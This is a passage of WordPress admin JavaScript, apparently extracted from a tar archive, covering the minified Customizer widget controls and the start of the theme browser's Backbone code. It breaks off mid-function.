click",function(){e.setting.previewer.send("highlight-widget",e.params.widget_id)}),this.setting.bind(function(){e.setting.previewer.send("highlight-widget",e.params.widget_id)})},_setupUpdateUI:function(){var t,i,n=this,s=this.container.find(".widget:first"),e=s.find(".widget-content:first"),d=this.container.find(".widget-control-save");d.val(f.saveBtnLabel),d.attr("title",f.saveBtnTooltip),d.removeClass("button-primary"),d.on("click",function(e){e.preventDefault(),n.updateWidget({disable_form:!0})}),t=_.debounce(function(){n.updateWidget()},250),e.on("keydown","input",function(e){13===e.which&&(e.preventDefault(),n.updateWidget({ignoreActiveElement:!0}))}),e.on("change input propertychange",":input",function(e){n.liveUpdateMode&&("change"===e.type||this.checkValidity&&this.checkValidity())&&t()}),this.setting.previewer.channel.bind("synced",function(){n.container.removeClass("previewer-loading")}),p.previewer.bind("widget-updated",function(e){e===n.params.widget_id&&n.container.removeClass("previewer-loading")}),(i=p.Widgets.formSyncHandlers[this.params.widget_id_base])&&h(document).on("widget-synced",function(e,t){s.is(t)&&i.apply(document,arguments)})},onChangeActive:function(e,t){this.container.toggleClass("widget-rendered",e),t.completeCallback&&t.completeCallback()},_setupRemoveUI:function(){var e,s=this,t=this.container.find(".widget-control-remove");t.on("click",function(){var n=s.container.next().is(".customize-control-widget_form")?s.container.next().find(".widget-action:first"):s.container.prev().is(".customize-control-widget_form")?s.container.prev().find(".widget-action:first"):s.container.next(".customize-control-sidebar_widgets").find(".add-new-widget:first");s.container.slideUp(function(){var e,t,i=p.Widgets.getSidebarWidgetControlContainingWidget(s.params.widget_id);i&&(e=i.setting().slice(),-1!==(t=_.indexOf(e,s.params.widget_id)))&&(e.splice(t,1),i.setting(e),n.focus())})}),e=function(){t.text(f.removeBtnLabel),t.attr("title",f.removeBtnTooltip)},this.params.is_new?p.bind("saved",e):e()},_getInputs:function(e){return h(e).find(":input[name]")},_getInputsSignature:function(e){return _(e).map(function(e){e=h(e),e=e.is(":checkbox, :radio")?[e.attr("id"),e.attr("name"),e.prop("value")]:[e.attr("id"),e.attr("name")];return e.join(",")}).join(";")},_getInputState:function(e){return(e=h(e)).is(":radio, :checkbox")?e.prop("checked"):e.is("select[multiple]")?e.find("option:selected").map(function(){return h(this).val()}).get():e.val()},_setInputState:function(e,t){(e=h(e)).is(":radio, :checkbox")?e.prop("checked",t):e.is("select[multiple]")?(t=Array.isArray(t)?_.map(t,function(e){return String(e)}):[],e.find("option").each(function(){h(this).prop("selected",-1!==_.indexOf(t,String(this.value)))})):e.val(t)},getSidebarWidgetsControl:function(){var e="sidebars_widgets["+this.params.sidebar_id+"]",e=p.control(e);if(e)return e},updateWidget:function(s){var d,a,o,r,e,l,t,i,c,g=this;g.embedWidgetContent(),i=(s=h.extend({instance:null,complete:null,ignoreActiveElement:!1},s)).instance,d=s.complete,this._updateCount+=1,r=this._updateCount,a=this.container.find(".widget:first"),(o=a.find(".widget-content:first")).find(".widget-error").remove(),this.container.addClass("widget-form-loading"),this.container.addClass("previewer-loading"),(t=p.state("processing"))(t()+1),this.liveUpdateMode||this.container.addClass("widget-form-disabled"),(e={action:"update-widget",wp_customize:"on"}).nonce=p.settings.nonce["update-widget"],e.customize_theme=p.settings.theme.stylesheet,e.customized=u.customize.previewer.query().customized,e=h.param(e),(l=this._getInputs(o)).each(function(){h(this).data("state"+r,g._getInputState(this))}),e=(e+=i?"&"+h.param({sanitized_widget_setting:JSON.stringify(i)}):"&"+l.serialize())+"&"+o.find("~ :input").serialize(),this._previousUpdateRequest&&this._previousUpdateRequest.abort(),i=h.post(u.ajax.settings.url,e),(this._previousUpdateRequest=i).done(function(e){var n,t,i=!1;"0"===e?(p.previewer.preview.iframe.hide(),p.previewer.login().done(function(){g.updateWidget(s),p.previewer.preview.iframe.show()})):"-1"===e?p.previewer.cheatin():e.success?(t=h("<div>"+e.data.form+"</div>"),n=g._getInputs(t),(t=g._getInputsSignature(l)===g._getInputsSignature(n))&&!g.liveUpdateMode&&(g.liveUpdateMode=!0,g.container.removeClass("widget-form-disabled"),g.container.find('input[name="savewidget"]').hide()),t&&g.liveUpdateMode?(l.each(function(e){var t=h(this),e=h(n[e]),i=t.data("state"+r),e=g._getInputState(e);t.data("sanitized",e),_.isEqual(i,e)||!s.ignoreActiveElement&&t.is(document.activeElement)||g._setInputState(t,e)}),h(document).trigger("widget-synced",[a,e.data.form])):g.liveUpdateMode?(g.liveUpdateMode=!1,g.container.find('input[name="savewidget"]').show(),i=!0):(o.html(e.data.form),g.container.removeClass("widget-form-disabled"),h(document).trigger("widget-updated",[a])),(c=!i&&!_(g.setting()).isEqual(e.data.instance))?(g.isWidgetUpdating=!0,g.setting(e.data.instance),g.isWidgetUpdating=!1):g.container.removeClass("previewer-loading"),d&&d.call(g,null,{noChange:!c,ajaxFinished:!0})):(t=f.error,e.data&&e.data.message&&(t=e.data.message),d?d.call(g,t):o.prepend('<p class="widget-error"><strong>'+t+"</strong></p>"))}),i.fail(function(e,t){d&&d.call(g,t)}),i.always(function(){g.container.removeClass("widget-form-loading"),l.each(function(){h(this).removeData("state"+r)}),t(t()-1)})},expandControlSection:function(){p.Control.prototype.expand.call(this)},_toggleExpanded:p.Section.prototype._toggleExpanded,expand:p.Section.prototype.expand,expandForm:function(){this.expand()},collapse:p.Section.prototype.collapse,collapseForm:function(){this.collapse()},toggleForm:function(e){void 0===e&&(e=!this.expanded()),this.expanded(e)},onChangeExpanded:function(e,t){var i,n,s,d,a,o=this;o.embedWidgetControl(),e&&o.embedWidgetContent(),t.unchanged?e&&p.Control.prototype.expand.call(o,{completeCallback:t.completeCallback}):(i=this.container.find("div.widget:first"),n=i.find(".widget-inside:first"),e=function(){p.control.each(function(e){o.params.type===e.params.type&&o!==e&&e.collapse()}),s=function(){o.container.removeClass("expanding"),o.container.addClass("expanded"),i.addClass("open"),a.attr("aria-expanded","true"),o.container.trigger("expanded")},t.completeCallback&&(d=s,s=function(){d(),t.completeCallback()}),o.params.is_wide?n.fadeIn(t.duration,s):n.slideDown(t.duration,s),o.container.trigger("expand"),o.container.addClass("expanding")},"false"===(a=this.container.find(".widget-top button.widget-action")).attr("aria-expanded")?p.section.has(o.section())?p.section(o.section()).expand({completeCallback:e}):e():(s=function(){o.container.removeClass("collapsing"),o.container.removeClass("expanded"),i.removeClass("open"),a.attr("aria-expanded","false"),o.container.trigger("collapsed")},t.completeCallback&&(d=s,s=function(){d(),t.completeCallback()}),o.container.trigger("collapse"),o.container.addClass("collapsing"),o.params.is_wide?n.fadeOut(t.duration,s):n.slideUp(t.duration,function(){i.css({width:"",margin:""}),s()})))},getWidgetSidebarPosition:function(){var e=this.getSidebarWidgetsControl().setting(),e=_.indexOf(e,this.params.widget_id);if(-1!==e)return e},moveUp:function(){this._moveWidgetByOne(-1)},moveDown:function(){this._moveWidgetByOne(1)},_moveWidgetByOne:function(e){var t=this.getWidgetSidebarPosition(),i=this.getSidebarWidgetsControl().setting,n=Array.prototype.slice.call(i()),s=n[t+e];n[t+e]=this.params.widget_id,n[t]=s,i(n)},toggleWidgetMoveArea:function(e){var t=this,i=this.container.find(".move-widget-area");(e=void 0===e?!i.hasClass("active"):e)&&(i.find(".selected").removeClass("selected"),i.find("li").filter(function(){return h(this).data("id")===t.params.sidebar_id}).addClass("selected"),this.container.find(".move-widget-btn").prop("disabled",!0)),i.toggleClass("active",e)},highlightSectionAndControl:function(){var e=this.container.is(":hidden")?this.container.closest(".control-section"):this.container;h(".highlighted").removeClass("highlighted"),e.addClass("highlighted"),setTimeout(function(){e.removeClass("highlighted")},500)}}),p.Widgets.WidgetsPanel=p.Panel.extend({ready:function(){var d=this;p.Panel.prototype.ready.call(d),d.deferred.embedded.done(function(){var t,i,n,e=d.container.find(".panel-meta"),s=h("<div></div>",{class:"no-widget-areas-rendered-notice",role:"alert"});e.append(s),i=function(){return _.filter(d.sections(),function(e){return"sidebar"===e.params.type&&e.active()}).length},n=function(){var e=i();return 0===e||e!==p.Widgets.data.registeredSidebars.length},(t=function(){var e,t=i();s.empty(),t!==(e=p.Widgets.data.registeredSidebars.length)&&((e=0!==t?f.someAreasShown[e-t]:f.noAreasShown)&&s.append(h("<p></p>",{text:e})),s.append(h("<p></p>",{text:f.navigatePreview})))})(),s.toggle(n()),p.previewer.deferred.active.done(function(){s.toggle(n())}),p.bind("pane-contents-reflowed",function(){var e="resolved"===p.previewer.deferred.active.state()?"fast":0;t(),n()?s.slideDown(e):s.slideUp(e)})})},isContextuallyActive:function(){return this.active()}}),p.Widgets.SidebarSection=p.Section.extend({ready:function(){var t;p.Section.prototype.ready.call(this),t=p.Widgets.registeredSidebars.get(this.params.sidebarId),this.active.bind(function(e){t.set("is_rendered",e)}),t.set("is_rendered",this.active())}}),p.Widgets.SidebarControl=p.Control.extend({ready:function(){this.$controlSection=this.container.closest(".control-section"),this.$sectionContent=this.container.closest(".accordion-section-content"),this._setupModel(),this._setupSortable(),this._setupAddition(),this._applyCardinalOrderClassNames()},_setupModel:function(){var s=this;this.setting.bind(function(i,e){var t,n,e=_(e).difference(i);i=_(i).filter(function(e){e=c(e);return!!p.Widgets.availableWidgets.findWhere({id_base:e.id_base})}),(t=_(i).map(function(e){return p.Widgets.getWidgetFormControlForWidget(e)||s.addWidget(e)})).sort(function(e,t){return _.indexOf(i,e.params.widget_id)-_.indexOf(i,t.params.widget_id)}),n=0,_(t).each(function(e){e.priority(n),e.section(s.section()),n+=1}),s.priority(n),s._applyCardinalOrderClassNames(),_(t).each(function(e){e.params.sidebar_id=s.params.sidebar_id}),_(e).each(function(n){setTimeout(function(){var e,t,i=!1;p.each(function(e){e.id!==s.setting.id&&0===e.id.indexOf("sidebars_widgets[")&&"sidebars_widgets[wp_inactive_widgets]"!==e.id&&(e=e(),-1!==_.indexOf(e,n))&&(i=!0)}),i||(t=(e=p.Widgets.getWidgetFormControlForWidget(n))&&h.contains(document,e.container[0])&&!h.contains(s.$sectionContent[0],e.container[0]),e&&!t&&(p.control.remove(e.id),e.container.remove()),p.Widgets.savedWidgetIds[n]&&((t=p.value("sidebars_widgets[wp_inactive_widgets]")().slice()).push(n),p.value("sidebars_widgets[wp_inactive_widgets]")(_(t).unique())),e=c(n).id_base,(t=p.Widgets.availableWidgets.findWhere({id_base:e}))&&!t.get("is_multi")&&t.set("is_disabled",!1))})})})},_setupSortable:function(){var t=this;this.isReordering=!1,this.$sectionContent.sortable({items:"> .customize-control-widget_form",handle:".widget-top",axis:"y",tolerance:"pointer",connectWith:".accordion-section-content:has(.customize-control-sidebar_widgets)",update:function(){var e=t.$sectionContent.sortable("toArray"),e=h.map(e,function(e){return h("#"+e).find(":input[name=widget-id]").val()});t.setting(e)}}),this.$controlSection.find(".accordion-section-title").droppable({accept:".customize-control-widget_form",over:function(){p.section(t.section.get()).expand({allowMultiple:!0,completeCallback:function(){p.section.each(function(e){e.container.find(".customize-control-sidebar_widgets").length&&e.container.find(".accordion-section-content:first").sortable("refreshPositions")})}})}}),this.container.find(".reorder-toggle").on("click",function(){t.toggleReordering(!t.isReordering)})},_setupAddition:function(){var t=this;this.container.find(".add-new-widget").on("click",function(){var e=h(this);t.$sectionContent.hasClass("reordering")||(h("body").hasClass("adding-widget")?(e.attr("aria-expanded","false"),p.Widgets.availableWidgetsPanel.close()):(e.attr("aria-expanded","true"),p.Widgets.availableWidgetsPanel.open(t)))})},_applyCardinalOrderClassNames:function(){var t=[];_.each(this.setting(),function(e){e=p.Widgets.getWidgetFormControlForWidget(e);e&&t.push(e)}),0===t.length||1===p.Widgets.registeredSidebars.length&&t.length<=1?this.container.find(".reorder-toggle").hide():(this.container.find(".reorder-toggle").show(),h(t).each(function(){h(this.container).removeClass("first-widget").removeClass("last-widget").find(".move-widget-down, .move-widget-up").prop("tabIndex",0)}),_.first(t).container.addClass("first-widget").find(".move-widget-up").prop("tabIndex",-1),_.last(t).container.addClass("last-widget").find(".move-widget-down").prop("tabIndex",-1))},toggleReordering:function(e){var t=this.$sectionContent.find(".add-new-widget"),i=this.container.find(".reorder-toggle"),n=this.$sectionContent.find(".widget-title");(e=Boolean(e))!==this.$sectionContent.hasClass("reordering")&&(this.isReordering=e,this.$sectionContent.toggleClass("reordering",e),e?(_(this.getWidgetFormControls()).each(function(e){e.collapse()}),t.attr({tabindex:"-1","aria-hidden":"true"}),i.attr("aria-label",f.reorderLabelOff),u.a11y.speak(f.reorderModeOn),n.attr("aria-hidden","true")):(t.removeAttr("tabindex aria-hidden"),i.attr("aria-label",f.reorderLabelOn),u.a11y.speak(f.reorderModeOff),n.attr("aria-hidden","false")))},getWidgetFormControls:function(){var t=[];return _(this.setting()).each(function(e){e=function(e){var t,e=c(e);t="widget_"+e.id_base,e.number&&(t+="["+e.number+"]");return t}(e),e=p.control(e);e&&t.push(e)}),t},addWidget:function(n){var e,t,i,s,d,a=this,o="widget_form",r=c(n),l=r.number,r=p.Widgets.availableWidgets.findWhere({id_base:r.id_base});return!(!r||l&&!r.get("is_multi"))&&(r.get("is_multi")&&!l&&(r.set("multi_number",r.get("multi_number")+1),l=r.get("multi_number")),e=h("#widget-tpl-"+r.get("id")).html().trim(),r.get("is_multi")?e=e.replace(/<[^<>]+>/g,function(e){return e.replace(/__i__|%i%/g,l)}):r.set("is_disabled",!0),e=h(e),(e=h("<li/>").addClass("customize-control").addClass("customize-control-"+o).append(e)).find("> .widget-icon").remove(),r.get("is_multi")&&(e.find('input[name="widget_number"]').val(l),e.find('input[name="multi_number"]').val(l)),n=e.find('[name="widget-id"]').val(),e.hide(),t="widget_"+r.get("id_base"),r.get("is_multi")&&(t+="["+l+"]"),e.attr("id","customize-control-"+t.replace(/\]/g,"").replace(/\[/g,"-")),(i=p.has(t))||(d={transport:p.Widgets.data.selectiveRefreshableWidgets[r.get("id_base")]?"postMessage":"refresh",previewer:this.setting.previewer},p.create(t,t,"",d).set({})),d=p.controlConstructor[o],s=new d(t,{settings:{default:t},content:e,sidebar_id:a.params.sidebar_id,widget_id:n,widget_id_base:r.get("id_base"),type:o,is_new:!i,width:r.get("width"),height:r.get("height"),is_wide:r.get("is_wide")}),p.control.add(s),p.each(function(e){var t,i;e.id!==a.setting.id&&0===e.id.indexOf("sidebars_widgets[")&&(t=e().slice(),-1!==(i=_.indexOf(t,n)))&&(t.splice(i),e(t))}),d=this.setting().slice(),-1===_.indexOf(d,n)&&(d.push(n),this.setting(d)),e.slideDown(function(){i&&s.updateWidget({instance:s.setting()})}),s)}}),h.extend(p.panelConstructor,{widgets:p.Widgets.WidgetsPanel}),h.extend(p.sectionConstructor,{sidebar:p.Widgets.SidebarSection}),h.extend(p.controlConstructor,{widget_form:p.Widgets.WidgetControl,sidebar_widgets:p.Widgets.SidebarControl}),p.bind("ready",function(){p.Widgets.availableWidgetsPanel=new p.Widgets.AvailableWidgetsPanelView({collection:p.Widgets.availableWidgets}),p.previewer.bind("highlight-widget-control",p.Widgets.highlightWidgetFormControl),p.previewer.bind("focus-widget-control",p.Widgets.focusWidgetFormControl)}),p.Widgets.highlightWidgetFormControl=function(e){e=p.Widgets.getWidgetFormControlForWidget(e);e&&e.highlightSectionAndControl()},p.Widgets.focusWidgetFormControl=function(e){e=p.Widgets.getWidgetFormControlForWidget(e);e&&e.focus()},p.Widgets.getSidebarWidgetControlContainingWidget=function(t){var i=null;return p.control.each(function(e){"sidebar_widgets"===e.params.type&&-1!==_.indexOf(e.setting(),t)&&(i=e)}),i},p.Widgets.getWidgetFormControlForWidget=function(t){var i=null;return p.control.each(function(e){"widget_form"===e.params.type&&e.params.widget_id===t&&(i=e)}),i},h(document).on("widget-added",function(e,t){var s,d,i,n=c(t.find("> .widget-inside > .form > .widget-id").val());"nav_menu"===n.id_base&&(s=p.control("widget_nav_menu["+String(n.number)+"]"))&&(d=t.find('select[name*="nav_menu"]'),i=t.find(".edit-selected-nav-menu > button"),0!==d.length)&&0!==i.length&&(d.on("change",function(){p.section.has("nav_menu["+d.val()+"]")?i.parent().show():i.parent().hide()}),i.on("click",function(){var i,n,e=p.section("nav_menu["+d.val()+"]");e&&(n=s,(i=e).focus(),i.expanded.bind(function e(t){t||(i.expanded.unbind(e),n.focus())}))}))}))}(window.wp,jQuery); js/theme.js 0000644 00000155707 15233246127 0006644 0 ustar 00 /** * @output wp-admin/js/theme.js */ /* global _wpThemeSettings, confirm, tb_position */ window.wp = window.wp || {}; ( function($) { // Set up our namespace... var themes, l10n; themes = wp.themes = wp.themes || {}; // Store the theme data and settings for organized and quick access. // themes.data.settings, themes.data.themes, themes.data.l10n. themes.data = _wpThemeSettings; l10n = themes.data.l10n; // Shortcut for isInstall check. themes.isInstall = !! themes.data.settings.isInstall; // Setup app structure. _.extend( themes, { model: {}, view: {}, routes: {}, router: {}, template: wp.template }); themes.Model = Backbone.Model.extend({ // Adds attributes to the default data coming through the .org themes api. // Map `id` to `slug` for shared code. initialize: function() { var description; if ( this.get( 'slug' ) ) { // If the theme is already installed, set an attribute. if ( _.indexOf( themes.data.installedThemes, this.get( 'slug' ) ) !== -1 ) { this.set({ installed: true }); } // If the theme is active, set an attribute. if ( themes.data.activeTheme === this.get( 'slug' ) ) { this.set({ active: true }); } } // Set the attributes. this.set({ // `slug` is for installation, `id` is for existing. id: this.get( 'slug' ) || this.get( 'id' ) }); // Map `section.description` to `description` // as the API sometimes returns it differently. if ( this.has( 'sections' ) ) { description = this.get( 'sections' ).description; this.set({ description: description }); } } }); // Main view controller for themes.php. // Unifies and renders all available views. themes.view.Appearance = wp.Backbone.View.extend({ el: '#wpbody-content .wrap .theme-browser', window: $( window ), // Pagination instance. page: 0, // Sets up a throttler for binding to 'scroll'. initialize: function( options ) { // Scroller checks how far the scroll position is. _.bindAll( this, 'scroller' ); this.SearchView = options.SearchView ? options.SearchView : themes.view.Search; // Bind to the scroll event and throttle // the results from this.scroller. this.window.on( 'scroll', _.throttle( this.scroller, 300 ) ); }, // Main render control. render: function() { // Setup the main theme view // with the current theme collection. this.view = new themes.view.Themes({ collection: this.collection, parent: this }); // Render search form. this.search(); this.$el.removeClass( 'search-loading' ); // Render and append. this.view.render(); this.$el.empty().append( this.view.el ).addClass( 'rendered' ); }, // Defines search element container. searchContainer: $( '.search-form' ), // Search input and view // for current theme collection. search: function() { var view, self = this; // Don't render the search if there is only one theme. if ( themes.data.themes.length === 1 ) { return; } view = new this.SearchView({ collection: self.collection, parent: this }); self.SearchView = view; // Render and append after screen title. view.render(); this.searchContainer .find( '.search-box' ) .append( $.parseHTML( '<label for="wp-filter-search-input">' + l10n.search + '</label>' ) ) .append( view.el ); this.searchContainer.on( 'submit', function( event ) { event.preventDefault(); }); }, // Checks when the user gets close to the bottom // of the mage and triggers a theme:scroll event. scroller: function() { var self = this, bottom, threshold; bottom = this.window.scrollTop() + self.window.height(); threshold = self.$el.offset().top + self.$el.outerHeight( false ) - self.window.height(); threshold = Math.round( threshold * 0.9 ); if ( bottom > threshold ) { this.trigger( 'theme:scroll' ); } } }); // Set up the Collection for our theme data. // @has 'id' 'name' 'screenshot' 'author' 'authorURI' 'version' 'active' ... themes.Collection = Backbone.Collection.extend({ model: themes.Model, // Search terms. terms: '', // Controls searching on the current theme collection // and triggers an update event. doSearch: function( value ) { // Don't do anything if we've already done this search. // Useful because the Search handler fires multiple times per keystroke. if ( this.terms === value ) { return; } // Updates terms with the value passed. this.terms = value; // If we have terms, run a search... if ( this.terms.length > 0 ) { this.search( this.terms ); } // If search is blank, show all themes. // Useful for resetting the views when you clean the input. if ( this.terms === '' ) { this.reset( themes.data.themes ); $( 'body' ).removeClass( 'no-results' ); } // Trigger a 'themes:update' event. this.trigger( 'themes:update' ); }, /** * Performs a search within the collection. * * @uses RegExp */ search: function( term ) { var match, results, haystack, name, description, author; // Start with a full collection. this.reset( themes.data.themes, { silent: true } ); // Trim the term. term = term.trim(); // Escape the term string for RegExp meta characters. term = term.replace( /[-\/\\^$*+?.()|[\]{}]/g, '\\$&' ); // Consider spaces as word delimiters and match the whole string // so matching terms can be combined. term = term.replace( / /g, ')(?=.*' ); match = new RegExp( '^(?=.*' + term + ').+', 'i' ); // Find results. // _.filter() and .test(). results = this.filter( function( data ) { name = data.get( 'name' ).replace( /(<([^>]+)>)/ig, '' ); description = data.get( 'description' ).replace( /(<([^>]+)>)/ig, '' ); author = data.get( 'author' ).replace( /(<([^>]+)>)/ig, '' ); haystack = _.union( [ name, data.get( 'id' ), description, author, data.get( 'tags' ) ] ); if ( match.test( data.get( 'author' ) ) && term.length > 2 ) { data.set( 'displayAuthor', true ); } return match.test( haystack ); }); if ( results.length === 0 ) { this.trigger( 'query:empty' ); } else { $( 'body' ).removeClass( 'no-results' ); } this.reset( results ); }, // Paginates the collection with a helper method // that slices the collection. paginate: function( instance ) { var collection = this; instance = instance || 0; // Themes per instance are set at 20. collection = _( collection.rest( 20 * instance ) ); collection = _( collection.first( 20 ) ); return collection; }, count: false, /* * Handles requests for more themes and caches results. * * * When we are missing a cache object we fire an apiCall() * which triggers events of `query:success` or `query:fail`. */ query: function( request ) { /** * @static * @type Array */ var queries = this.queries, self = this, query, isPaginated, count; // Store current query request args // for later use with the event `theme:end`. this.currentQuery.request = request; // Search the query cache for matches. query = _.find( queries, function( query ) { return _.isEqual( query.request, request ); }); // If the request matches the stored currentQuery.request // it means we have a paginated request. isPaginated = _.has( request, 'page' ); // Reset the internal api page counter for non-paginated queries. if ( ! isPaginated ) { this.currentQuery.page = 1; } // Otherwise, send a new API call and add it to the cache. if ( ! query && ! isPaginated ) { query = this.apiCall( request ).done( function( data ) { // Update the collection with the queried data. if ( data.themes ) { self.reset( data.themes ); count = data.info.results; // Store the results and the query request. queries.push( { themes: data.themes, request: request, total: count } ); } // Trigger a collection refresh event // and a `query:success` event with a `count` argument. self.trigger( 'themes:update' ); self.trigger( 'query:success', count ); if ( data.themes && data.themes.length === 0 ) { self.trigger( 'query:empty' ); } }).fail( function() { self.trigger( 'query:fail' ); }); } else { // If it's a paginated request we need to fetch more themes... if ( isPaginated ) { return this.apiCall( request, isPaginated ).done( function( data ) { // Add the new themes to the current collection. // @todo Update counter. self.add( data.themes ); self.trigger( 'query:success' ); // We are done loading themes for now. self.loadingThemes = false; }).fail( function() { self.trigger( 'query:fail' ); }); } if ( query.themes.length === 0 ) { self.trigger( 'query:empty' ); } else { $( 'body' ).removeClass( 'no-results' ); } // Only trigger an update event since we already have the themes // on our cached object. if ( _.isNumber( query.total ) ) { this.count = query.total; } this.reset( query.themes ); if ( ! query.total ) { this.count = this.length; } this.trigger( 'themes:update' ); this.trigger( 'query:success', this.count ); } }, // Local cache array for API queries. queries: [], // Keep track of current query so we can handle pagination. currentQuery: { page: 1, request: {} }, // Send request to api.wordpress.org/themes. apiCall: function( request, paginated ) { return wp.ajax.send( 'query-themes', { data: { // Request data. request: _.extend({ per_page: 100 }, request) }, beforeSend: function() { if ( ! paginated ) { // Spin it. $( 'body' ).addClass( 'loading-content' ).removeClass( 'no-results' ); } } }); }, // Static status controller for when we are loading themes. loadingThemes: false }); // This is the view that controls each theme item // that will be displayed on the screen. themes.view.Theme = wp.Backbone.View.extend({ // Wrap theme data on a div.theme element. className: 'theme', // Reflects which theme view we have. // 'grid' (default) or 'detail'. state: 'grid', // The HTML template for each element to be rendered. html: themes.template( 'theme' ), events: { 'click': themes.isInstall ? 'preview': 'expand', 'keydown': themes.isInstall ? 'preview': 'expand', 'touchend': themes.isInstall ? 'preview': 'expand', 'keyup': 'addFocus', 'touchmove': 'preventExpand', 'click .theme-install': 'installTheme', 'click .update-message': 'updateTheme' }, touchDrag: false, initialize: function() { this.model.on( 'change', this.render, this ); }, render: function() { var data = this.model.toJSON(); // Render themes using the html template. this.$el.html( this.html( data ) ).attr( 'data-slug', data.id ); // Renders active theme styles. this.activeTheme(); if ( this.model.get( 'displayAuthor' ) ) { this.$el.addClass( 'display-author' ); } }, // Adds a class to the currently active theme // and to the overlay in detailed view mode. activeTheme: function() { if ( this.model.get( 'active' ) ) { this.$el.addClass( 'active' ); } }, // Add class of focus to the theme we are focused on. addFocus: function() { var $themeToFocus = ( $( ':focus' ).hasClass( 'theme' ) ) ? $( ':focus' ) : $(':focus').parents('.theme'); $('.theme.focus').removeClass('focus'); $themeToFocus.addClass('focus'); }, // Single theme overlay screen. // It's shown when clicking a theme. expand: function( event ) { var self = this; event = event || window.event; // 'Enter' and 'Space' keys expand the details view when a theme is :focused. if ( event.type === 'keydown' && ( event.which !== 13 && event.which !== 32 ) ) { return; } // Bail if the user scrolled on a touch device. if ( this.touchDrag === true ) { return this.touchDrag = false; } // Prevent the modal from showing when the user clicks // one of the direct action buttons. if ( $( event.target ).is( '.theme-actions a' ) ) { return; } // Prevent the modal from showing when the user clicks one of the direct action buttons. if ( $( event.target ).is( '.theme-actions a, .update-message, .button-link, .notice-dismiss' ) ) { return; } // Set focused theme to current element. themes.focusedTheme = this.$el; this.trigger( 'theme:expand', self.model.cid ); }, preventExpand: function() { this.touchDrag = true; }, preview: function( event ) { var self = this, current, preview; event = event || window.event; // Bail if the user scrolled on a touch device. if ( this.touchDrag === true ) { return this.touchDrag = false; } // Allow direct link path to installing a theme. if ( $( event.target ).not( '.install-theme-preview' ).parents( '.theme-actions' ).length ) { return; } // 'Enter' and 'Space' keys expand the details view when a theme is :focused. if ( event.type === 'keydown' && ( event.which !== 13 && event.which !== 32 ) ) { return; } // Pressing Enter while focused on the buttons shouldn't open the preview. if ( event.type === 'keydown' && event.which !== 13 && $( ':focus' ).hasClass( 'button' ) ) { return; } event.preventDefault(); event = event || window.event; // Set focus to current theme. themes.focusedTheme = this.$el; // Construct a new Preview view. themes.preview = preview = new themes.view.Preview({ model: this.model }); // Render the view and append it. preview.render(); this.setNavButtonsState(); // Hide previous/next navigation if there is only one theme. if ( this.model.collection.length === 1 ) { preview.$el.addClass( 'no-navigation' ); } else { preview.$el.removeClass( 'no-navigation' ); } // Append preview. $( 'div.wrap' ).append( preview.el ); // Listen to our preview object // for `theme:next` and `theme:previous` events. this.listenTo( preview, 'theme:next', function() { // Keep local track of current theme model. current = self.model; // If we have ventured away from current model update the current model position. if ( ! _.isUndefined( self.current ) ) { current = self.current; } // Get next theme model. self.current = self.model.collection.at( self.model.collection.indexOf( current ) + 1 ); // If we have no more themes, bail. if ( _.isUndefined( self.current ) ) { self.options.parent.parent.trigger( 'theme:end' ); return self.current = current; } preview.model = self.current; // Render and append. preview.render(); this.setNavButtonsState(); $( '.next-theme' ).trigger( 'focus' ); }) .listenTo( preview, 'theme:previous', function() { // Keep track of current theme model. current = self.model; // Bail early if we are at the beginning of the collection. if ( self.model.collection.indexOf( self.current ) === 0 ) { return; } // If we have ventured away from current model update the current model position. if ( ! _.isUndefined( self.current ) ) { current = self.current; } // Get previous theme model. self.current = self.model.collection.at( self.model.collection.indexOf( current ) - 1 ); // If we have no more themes, bail. if ( _.isUndefined( self.current ) ) { return; } preview.model = self.current; // Render and append. preview.render(); this.setNavButtonsState(); $( '.previous-theme' ).trigger( 'focus' ); }); this.listenTo( preview, 'preview:close', function() { self.current = self.model; }); }, // Handles .disabled classes for previous/next buttons in theme installer preview. setNavButtonsState: function() { var $themeInstaller = $( '.theme-install-overlay' ), current = _.isUndefined( this.current ) ? this.model : this.current, previousThemeButton = $themeInstaller.find( '.previous-theme' ), nextThemeButton = $themeInstaller.find( '.next-theme' ); // Disable previous at the zero position. if ( 0 === this.model.collection.indexOf( current ) ) { previousThemeButton .addClass( 'disabled' ) .prop( 'disabled', true ); nextThemeButton.trigger( 'focus' ); } // Disable next if the next model is undefined. if ( _.isUndefined( this.model.collection.at( this.model.collection.indexOf( current ) + 1 ) ) ) { nextThemeButton .addClass( 'disabled' ) .prop( 'disabled', true ); previousThemeButton.trigger( 'focus' ); } }, installTheme: function( event ) { var _this = this; event.preventDefault(); wp.updates.maybeRequestFilesystemCredentials( event ); $( document ).on( 'wp-theme-install-success', function( event, response ) { if ( _this.model.get( 'id' ) === response.slug ) { _this.model.set( { 'installed': true } ); } if ( response.blockTheme ) { _this.model.set( { 'block_theme': true } ); } } ); wp.updates.installTheme( { slug: $( event.target ).data( 'slug' ) } ); }, updateTheme: function( event ) { var _this = this; if ( ! this.model.get( 'hasPackage' ) ) { return; } event.preventDefault(); wp.updates.maybeRequestFilesystemCredentials( event ); $( document ).on( 'wp-theme-update-success', function( event, response ) { _this.model.off( 'change', _this.render, _this ); if ( _this.model.get( 'id' ) === response.slug ) { _this.model.set( { hasUpdate: false, version: response.newVersion } ); } _this.model.on( 'change', _this.render, _this ); } ); wp.updates.updateTheme( { slug: $( event.target ).parents( 'div.theme' ).first().data( 'slug' ) } ); } }); // Theme Details view. // Sets up a modal overlay with the expanded theme data. themes.view.Details = wp.Backbone.View.extend({ // Wrap theme data on a div.theme element. className: 'theme-overlay', events: { 'click': 'collapse', 'click .delete-theme': 'deleteTheme', 'click .left': 'previousTheme', 'click .right': 'nextTheme', 'click #update-theme': 'updateTheme', 'click .toggle-auto-update': 'autoupdateState' }, // The HTML template for the theme overlay. html: themes.template( 'theme-single' ), render: function() { var data = this.model.toJSON(); this.$el.html( this.html( data ) ); // Renders active theme styles. this.activeTheme(); // Set up navigation events. this.navigation(); // Checks screenshot size. this.screenshotCheck( this.$el ); // Contain "tabbing" inside the overlay. this.containFocus( this.$el ); }, // Adds a class to the currently active theme // and to the overlay in detailed view mode. activeTheme: function() { // Check the model has the active property. this.$el.toggleClass( 'active', this.model.get( 'active' ) ); }, // Set initial focus and constrain tabbing within the theme browser modal. containFocus: function( $el ) { // Set initial focus on the primary action control. _.delay( function() { $( '.theme-overlay' ).trigger( 'focus' ); }, 100 ); // Constrain tabbing within the modal. $el.on( 'keydown.wp-themes', function( event ) { var $firstFocusable = $el.find( '.theme-header button:not(.disabled)' ).first(), $lastFocusable = 